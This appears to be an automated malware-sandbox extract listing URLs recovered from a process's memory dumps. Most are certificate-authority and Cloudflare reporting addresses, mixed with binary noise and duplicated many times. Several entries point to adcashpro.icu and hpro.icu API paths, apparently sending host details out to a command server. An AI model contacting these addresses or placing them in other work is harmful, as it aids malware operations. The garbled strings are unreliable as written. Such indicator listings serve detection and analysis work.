"https://a.nel.cloudflare.com/report/v4?s=emcxowh%2bbdexg1fttyvzexnlwnzlvipcgvkfkw8wj832vyq5ggr1goem2imprkdjemfaus%2fkf5wxymjvkasbcjtbxiishmugxkdxx5w%3d" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=ekzqegd8qgzvhumcu2ownoykivdqisqoe3c9nuns69a872qapxkrj3drcqxhoplp4uiykfx%2f7emxwxho3lp2gbc5gqthnht0cypqx4s%3d" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=tho81bzwzp9dghqrpwjuthcxx5qvcaaigvdzksx2wzp%2f2jn1cwlecsnpkgoqjx%2bzkpkenb%2fuj6vwqouwsisfqpf3sqz1xgfvkh7ynv4%3d" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=tq%2brtxt4kcu9sz8phs%2bnohja1w7hcfngrhjtavv13y2wan75h2rmkpoqdgdqagz4%2flxfjddv%2btrts0bx4c4xoaijuyoa8iwocvkcxuw%3d" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "https://adcashpro.icu/adcashpro.icuhttps://adcashpro.icu/adcashpro.icut" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://hpro.icu/api/bhttps://hpro.icu/api/bhttps://" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://adcashpro.icu/api/bcomdlg32.dllsha1microsoft" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://adcashpro.icu/api/buserdomain=desktop-fvvf82aprocessor_architecture=amd64vqev76,3>32.dll," - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=54oacak8kteubsa4tm%2f1ntjmt2qebfyypuribd0h6hcixz24hwfneagoqndwjaff%2ff8zbfhckfnwk%2fyj7jad5rfozymbzxxa1eysnu8%3d" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=m%2bdbajgfxuk9fnl5td7bs6wmhj6%2fbtjxpvihn0yqqfuxxwt7ckpyymekyqcimt5gjiptersfsovsfcpaeyyamb3aburofaviykm%2frj0%3d" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=xilmyswumxfxpdnd3kjqwiojsduff21r7s8aqoe9luk1nj%2bbt2xmxpit602efs7vicarpfric1mxeah54c%2fs2e5okgxww8nw6udex9u%3d" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=xwblntvgn0063npxsjnmfiz2szwfnmfqix9vy2hceyanqblmye7j1b4cqg%2bkuclopbwpjuhc%2btjimpx5%2fhvcbzlhbahcezyj%2bsc7mqm%3d" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=kxmdqtgxraur1iu69m9szwns1llijcz%2fytgxoh2nhs4rhve1scgfz%2bitkrpvghf8fea7q0e429csll88n9jfqys1rgyjxsbhl6tioec%3d" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=vyoz0xnrzbzdtwg%2bpyim4jym8xjy%2fq7tdzldpzqft5m84nkoiribempkbazfrvpc4moiy%2flqnvwkju54nysso5qzfs%2brxlx0d4gphj0%3d" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcwysxvqe" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ewyrsglobalsign" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;wyrjaddtrust" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.miprod*/mict2011_20wy[%1n8jwx_((" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3wxfsrszyswyx4il" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lpwy?@washington1redmond1microsoft" - Source: "00000000-00002672.00000001.110699.D2D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00002672.00000001.110699.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00002672.00000001.110699.D4D00000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00002672.00000001.110699.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00002672.00000001.110699.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002672.00000001.110699.D4D00000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002672.00000001.110699.D4D00000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=7nrmthmklm%2ff0lv02dijr2shrbqfrlmz9eudwv1gizdzk1iwke%2f0cc%2bhhw5ecjf31h6erodihhc5lsft3" - Source: "00000000-00002672.00000001.110699.D4D00000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp") Found URL "https://adcashpro.icu/adcashpro.icuhttps://adcashpro.icu/adcashpro.icut" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://hpro.icu/api/bhttps://hpro.icu/api/bhttps://" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://adcashpro.icu/api/bcomdlg32.dllsha1microsoft" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://adcashpro.icu/api/buserdomain=desktop-fvvf82aprocessor_architecture=amd64vqev76,3>32.dll," - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=54oacak8kteubsa4tm%2f1ntjmt2qebfyypuribd0h6hcixz24hwfneagoqndwjaff%2ff8zbfhckfnwk%2fyj7jad5rfozymbzxxa1eysnu8%3d" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=m%2bdbajgfxuk9fnl5td7bs6wmhj6%2fbtjxpvihn0yqqfuxxwt7ckpyymekyqcimt5gjiptersfsovsfcpaeyyamb3aburofaviykm%2frj0%3d" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=xilmyswumxfxpdnd3kjqwiojsduff21r7s8aqoe9luk1nj%2bbt2xmxpit602efs7vicarpfric1mxeah54c%2fs2e5okgxww8nw6udex9u%3d" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=xwblntvgn0063npxsjnmfiz2szwfnmfqix9vy2hceyanqblmye7j1b4cqg%2bkuclopbwpjuhc%2btjimpx5%2fhvcbzlhbahcezyj%2bsc7mqm%3d" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=kxmdqtgxraur1iu69m9szwns1llijcz%2fytgxoh2nhs4rhve1scgfz%2bitkrpvghf8fea7q0e429csll88n9jfqys1rgyjxsbhl6tioec%3d" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=vyoz0xnrzbzdtwg%2bpyim4jym8xjy%2fq7tdzldpzqft5m84nkoiribempkbazfrvpc4moiy%2flqnvwkju54nysso5qzfs%2brxlx0d4gphj0%3d" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcwysxvqe" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ewyrsglobalsign" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;wyrjaddtrust" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.miprod*/mict2011_20wy[%1n8jwx_((" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3wxfsrszyswyx4il" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lpwy?@washington1redmond1microsoft" - Source: "00000000-00002672.00000002.112620.D2D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00002672.00000002.112620.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00002672.00000002.112620.D4D00000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00002672.00000002.112620.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00002672.00000002.112620.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002672.00000002.112620.D4D00000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002672.00000002.112620.D4D00000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=7nrmthmklm%2ff0lv02dijr2shrbqfrlmz9eudwv1gizdzk1iwke%2f0cc%2bhhw5ecjf31h6erodihhc5lsft3" - Source: "00000000-00002672.00000002.112620.D4D00000.00000004.mdmp") Found URL "https://adcashpro.icu/api/buserdomain=desktop-fvvf82aprocessor_architecture=amd64vqev76,3>32.dll," - Source: "00000000-00002672.00000003.118130.D2D90000.00000004.mdmp") Found URL "https://hpro.icu/api/bhttps://hpro.icu/api/bhttps://" - Source: "00000000-00002672.00000003.118130.D2DED000.00000004.mdmp") Found URL "https://adcashpro.icu/api/bcomdlg32.dllsha1microsoft" - Source: "00000000-00002672.00000003.118130.D2DED000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=54oacak8kteubsa4tm%2f1ntjmt2qebfyypuribd0h6hcixz24hwfneagoqndwjaff%2ff8zbfhckfnwk%2fyj7jad5rfozymbzxxa1eysnu8%3d" - Source: "00000000-00002672.00000003.118130.D2DED000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=m%2bdbajgfxuk9fnl5td7bs6wmhj6%2fbtjxpvihn0yqqfuxxwt7ckpyymekyqcimt5gjiptersfsovsfcpaeyyamb3aburofaviykm%2frj0%3d" - Source: "00000000-00002672.00000003.118130.D2DED000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=xilmyswumxfxpdnd3kjqwiojsduff21r7s8aqoe9luk1nj%2bbt2xmxpit602efs7vicarpfric1mxeah54c%2fs2e5okgxww8nw6udex9u%3d" - Source: "00000000-00002672.00000003.118130.D2DED000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=xwblntvgn0063npxsjnmfiz2szwfnmfqix9vy2hceyanqblmye7j1b4cqg%2bkuclopbwpjuhc%2btjimpx5%2fhvcbzlhbahcezyj%2bsc7mqm%3d" - Source: "00000000-00002672.00000003.118130.D2DED000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=kxmdqtgxraur1iu69m9szwns1llijcz%2fytgxoh2nhs4rhve1scgfz%2bitkrpvghf8fea7q0e429csll88n9jfqys1rgyjxsbhl6tioec%3d" - Source: "00000000-00002672.00000003.118130.D2DED000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=vyoz0xnrzbzdtwg%2bpyim4jym8xjy%2fq7tdzldpzqft5m84nkoiribempkbazfrvpc4moiy%2flqnvwkju54nysso5qzfs%2brxlx0d4gphj0%3d" - Source: "00000000-00002672.00000003.118130.D2DED000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=vyoz0xnrzbzdtwg%2bpyim4jym8xjy%2fq7tdzldpzqft5m84nkoiribempkbazfrvpc4moiy%2flqnvwkju54nysso5qzfs%2brxlx0d4gphj0%3d" - Source: "00000000-00002672.00000003.118130.D2E0A000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcwysxvqe" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ewyrsglobalsign" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;wyrjaddtrust" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.miprod*/mict2011_20wy[%1n8jwx_((" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3wxfsrszyswyx4il" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lpwy?@washington1redmond1microsoft" - Source: "00000000-00002672.00000003.118130.D2E1E000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00002672.00000003.118130.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00002672.00000003.118130.D4D00000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00002672.00000003.118130.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00002672.00000003.118130.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002672.00000003.118130.D4D00000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002672.00000003.118130.D4D00000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=7nrmthmklm%2ff0lv02dijr2shrbqfrlmz9eudwv1gizdzk1iwke%2f0cc%2bhhw5ecjf31h6erodihhc5lsft3" - Source: "00000000-00002672.00000003.118130.D4D00000.00000004.mdmp")3f:T4dc,Found string "wHTTP/1.1 204 No Content" 